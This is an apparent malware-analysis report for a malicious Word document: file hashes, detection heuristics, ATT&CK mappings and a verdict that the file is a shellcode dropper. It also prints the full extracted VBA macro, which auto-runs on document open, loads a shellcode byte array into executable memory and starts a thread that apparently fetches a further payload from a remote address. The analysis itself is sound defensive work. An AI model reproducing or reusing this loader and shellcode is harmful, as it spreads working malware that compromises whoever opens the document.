Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 cdbd97899e046ce3…

MALICIOUS

Office (OLE)

35.0 KB Created: 2018-03-13 16:39:00 Authoring application: Microsoft Office Word First seen: 2018-08-05
MD5: 5843fb67f4559738f026d66280a0af81 SHA-1: c35858f910d498662d4133cf632609ea8a5cdd3e SHA-256: cdbd97899e046ce34be952e1fdf6feb8b67eaba3b26a6642df6bf9964b7ec753
146 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1608.001 Stage One

The sample contains critical heuristics indicating the presence of VBA macros, specifically AutoOpen and Workbook_Open, which are commonly used to execute malicious code upon opening. The VBA script utilizes Windows API functions like VirtualAlloc and CreateThread, suggesting it allocates memory and creates a new thread to execute shellcode. This behavior is consistent with a dropper designed to download and execute a secondary payload.

Heuristics 8

  • ClamAV: Doc.Dropper.Valyria-6680543-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Valyria-6680543-0
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
Sub AutoOpen()
        Auto_Open
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    End Sub
Sub Workbook_Open()
        Auto_Open
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
        Dim Gfizxeaur As Long, Cpoeqtm As Variant, Omtz As Long
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3565 bytes
SHA-256: fb5ef9094e90e379bd347c13c9ef0f5257fc10bb54cf72c85505547b9f058a3c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
#If VBA7 Then
        Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Gqrxrkt As Long, ByVal Wrprae As Long, ByVal Wbfzalr As LongPtr, Vicab As Long, ByVal Mzdpaf As Long, Evwglz As Long) As LongPtr
        Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Mumfactb As Long, ByVal Cokyekm As Long, ByVal Hwhja As Long, ByVal Dfnw As Long) As LongPtr
        Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Krhdsxl As LongPtr, ByRef Gapktr As Any, ByVal Iqxdyvja As Long) As LongPtr
#Else
        Private Declare Function CreateThread Lib "kernel32" (ByVal Gqrxrkt As Long, ByVal Wrprae As Long, ByVal Wbfzalr As Long, Vicab As Long, ByVal Mzdpaf As Long, Evwglz As Long) As Long
        Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Mumfactb As Long, ByVal Cokyekm As Long, ByVal Hwhja As Long, ByVal Dfnw As Long) As Long
        Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Krhdsxl As Long, ByRef Gapktr As Any, ByVal Iqxdyvja As Long) As Long
#End If

Sub Auto_Open()
        Dim Gfizxeaur As Long, Cpoeqtm As Variant, Omtz As Long
#If VBA7 Then
        Dim Ghqjxzeg As LongPtr, Weug As LongPtr
#Else
        Dim Ghqjxzeg As Long, Weug As Long
#End If
        Cpoeqtm = Array(232, 123, 0, 0, 0, 96, 137, 229, 49, 192, 100, 139, 80, 48, 139, 82, 12, 139, 82, 20, 139, 114, 40, 15, 183, 74, 38, 49, 255, 172, 60, 97, 124, 2, 44, 32, 193, 207, 13, 1, 199, 226, 242, 82, 87, 139, 82, 16, 139, 74, 60, 139, 76, 17, 120, 227, 72, 1, 209, 81, 139, 89, 32, 1, 211, 139, 73, 24, 227, 58, 73, 139, 52, 139, 1, 214, 49, 255, 172, 193, _
207, 13, 1, 199, 56, 224, 117, 246, 3, 125, 248, 59, 125, 36, 117, 228, 88, 139, 88, 36, 1, 211, 102, 139, 12, 75, 139, 88, 28, 1, 211, 139, 4, 139, 1, 208, 137, 68, 36, 36, 91, 91, 97, 89, 90, 81, 255, 224, 95, 95, 90, 139, 18, 235, 141, 93, 104, 110, 101, 116, 0, 104, 119, 105, 110, 105, 84, 104, 76, 119, 38, 7, 255, 213, 49, 219, 83, 83, 83, 83, _
83, 104, 58, 86, 121, 167, 255, 213, 83, 83, 106, 3, 83, 83, 104, 187, 1, 0, 0, 232, 152, 0, 0, 0, 47, 114, 48, 53, 83, 50, 0, 80, 104, 87, 137, 159, 198, 255, 213, 137, 198, 83, 104, 0, 50, 224, 132, 83, 83, 83, 87, 83, 86, 104, 235, 85, 46, 59, 255, 213, 150, 106, 10, 95, 104, 128, 51, 0, 0, 137, 224, 106, 4, 80, 106, 31, 86, 104, 117, 70, _
158, 134, 255, 213, 83, 83, 83, 83, 86, 104, 45, 6, 24, 123, 255, 213, 133, 192, 117, 22, 104, 136, 19, 0, 0, 104, 68, 240, 53, 224, 255, 213, 79, 117, 205, 104, 240, 181, 162, 86, 255, 213, 106, 64, 104, 0, 16, 0, 0, 104, 0, 0, 64, 0, 83, 104, 88, 164, 83, 229, 255, 213, 147, 83, 83, 137, 231, 87, 104, 0, 32, 0, 0, 83, 86, 104, 18, 150, 137, 226, _
255, 213, 133, 192, 116, 205, 139, 7, 1, 195, 133, 192, 117, 229, 88, 195, 95, 232, 105, 255, 255, 255, 49, 48, 46, 50, 46, 53, 46, 54, 1)

        Ghqjxzeg = VirtualAlloc(0, UBound(Cpoeqtm), &H1000, &H40)
        For Omtz = LBound(Cpoeqtm) To UBound(Cpoeqtm)
                Gfizxeaur = Cpoeqtm(Omtz)
                Weug = RtlMoveMemory(Ghqjxzeg + Omtz, Gfizxeaur, 1)
        Next Omtz
        Weug = CreateThread(0, 0, Ghqjxzeg, 0, 0, 0)
End Sub
Sub AutoOpen()
        Auto_Open
End Sub
Sub Workbook_Open()
        Auto_Open
End Sub

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